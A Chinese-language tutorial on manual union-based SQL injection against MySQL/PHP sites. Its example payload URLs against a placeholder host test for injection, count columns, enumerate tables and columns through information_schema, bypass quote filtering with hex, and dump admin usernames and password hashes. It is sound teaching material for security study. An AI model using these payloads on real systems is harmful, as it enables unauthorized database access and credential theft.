我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
文章目录
一、MySQL+PHP 手工注入详解
1、MySQL的三种注释手段:
(1)单行注释符1:#
(2)单行注释符2:--空格
(3)多行注释符:/*里面的内容都会被注释*/
(4)注释符的功能:用注释后,其后面语句不再被解析执行
(5)单行注释示例1:select * from users#这是一段单行注释
(6)单行注释示例2:select * from users-- 这是一段单行注释
(7)多行注释示例:select * from users/*这是一段多行注释*/
2、注入时常用的系统信息函数:
version()/@@version MySQL数据库版本
@@version_compile_os 多少位的操作系统
user() 数据库用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
system_user() 系统用户名
database() 数据库名
@@datadir 数据库的数据存储路径
@@basedir 数据库安装路径
load_file('文件') MYSQL读取本地文件的函数
3、判断是否存在注入:and/or逻辑语句
(1)and判断语句:根据页面返回正常还是错误来判断是否存在注入
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面错误
?id=1 && 1=1 url编码后才有效: ?id=1 %26%26 1=1 页面正常
?id=1 && 1=2 url编码后才有效: ?id=1 %26%26 1=2 页面错误
//注意:&&与||这种特殊的符号,一定要在浏览器url提交前进行转码之后方可提交,因为浏览器默认不会对者两种字符进行编码。
(2)or逻辑判断语句:根据页面返回正常还是错误来判断是否存在注入
?id=-1 or 1=1 页面正常
?id=-1 or 1=2 页面错误
?id=-1 || 1=1 url编码后才有效:-1 %7c%7c 1=1 页面正常
?id=-1 || 1=2 url编码后才有效:-1 %7c%7c 1=2 页面错误
(3)示例:
http://target_sys.com/article.php?id=1 %26%26 1=1 页面正常
http://target_sys.com/article.php?id=1 %26%26 1=2 页面错误
http://target_sys.com/article.php?id=-1 or 1=1 页面正常
http://target_sys.com/article.php?id=-1 or 1=2 页面错误
4、判断字段/列数:order by排序
(1) order by排序:与其他数据库一样,使用order by 进行排序获取字段数
order by 10
,若该表的第10个字段存在,则以该表的第10个字段进行排序,即页面正常,否则页面错误。
(2)示例:使用二分法order by排序,判断当前后台正在查询的表的字段数
经过判断,当前表的字段数为3,如下图所示:
5、联合查询:
(1)MySQL的特点:MySQL与Access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息。
(2)联合查询的特点:联合查询的表需要跟被联合查询的表的字段个数一致,所以也就有了上一步判断当前表的字段数的操作了。
(3)联合查询的前提:需要让联合查询的数据具有回显位
(4)判断联合查询的回显位置:
http://target_sys.com/article.php?id=-1 union select 1,2,3
http://target_sys.com/article.php?id=1 and 1=2 union select 1,2,3
//以上两个语句的意思都是相同的,都是为了让前面的获取数据为null,也就是将前置查询的结果置空,给联合查询腾出位置,以便回显我们想要的信息。
(5)联合查询的回显位,可以换成以下系统信息函数:
把上面的具有回显位置的数字替换成你要查询的函数名即可
version()/@@version MySQL数据库版本
@@version_compile_os 多少位的操作系统
user() 数据库用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
system_user() 系统用户名
database() 数据库名
@@datadir 数据库的数据存储路径
@@basedir 数据库安装路径
load_file('文件') MYSQL读取本地文件的函数
(6)联合查询库名:http://target_sys.com/article.php?id=-1 union select 1,database(),3
(7) 联合查询表名:information_schema.tables里面存储着所有的表名
MySQL 数据库里面有一个information_schema库,库里面存着很多信息,其中就包括了所有的库名, 表名, 字段名。因此可以利用这个库来获取当前库的表名。
示例1:http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
# table_schema表示数据库字段
# limit 0,1 表示片偏移量为0,从1开始,读取1个结果
# limit 1,1 表示片偏移量为1,从2开始,读取1个结果
# limit 2,1 表示片偏移量为2,从3开始,读取1个结果
# 如此类推,直至返回空,表示我们把表名查询完了
示例2:http://target_sys.com/article.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=0x7461726765745F737973 limit 1,1),3
# 使用database()函数和使用target_sys库名来表示当前使用的数据库的效果是相同的
# 但是有些时候,单引号若是被过滤了,那么可以把数据库名target_sys转为十六进制0x7461726765745f737973表示,即可绕过单引号被过滤的的问题。
示例3:http://target_sys.com/article.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
# group_concat()函数功能:把多个结果拼接成字符串,不同的结果间默认以逗号分割
查询结果:admin、article、moon_range、users、xss
,如下图所示:
(8)联合查询字段/列名:information_schema.columns里面存储着所有的字段/列名
示例1:http://target_sys.com/article.php ??id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin'
示例2:http://target_sys.com/article.php?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E),3
# admin转换成十六进制是:0x61646d696e
查询结果:id、username、password
,如下图所示:
(9)联合查询行数据/记录:
示例1:http://target_sys.com/article.php?id=-1 union select 1,group_concat(username,0x3a,password),3 from admin
# group_concat()函数功能:把多个结果拼接成字符串,不同的结果默认以逗号分割
# group_concat(username,0x3a,password),把多个结果拼接成字符串,不同的结果之间默认以逗号分割。注意:这里的一个结果的形式
是,一个username字段值+0x3a冒号+一个password字段值
,若此时有多个这样的形式的结果,默认以逗号分割这些结果!!!!!
查询结果:admin:e10adc3949ba59abbe56e057f20f883e
,如下图所示:
(10)group_concat() 拼接字符串函数的功能验证:
group_concat(username,0x3a,password)
,把多个结果拼接成字符串,不同的结果之间默认以逗号分割。注意:这里的一个结果的形式
是,一个username字段值+0x3a冒号+一个password字段值
,若此时有多个这样的形式的结果,默认以逗号分割这些结果!!!!!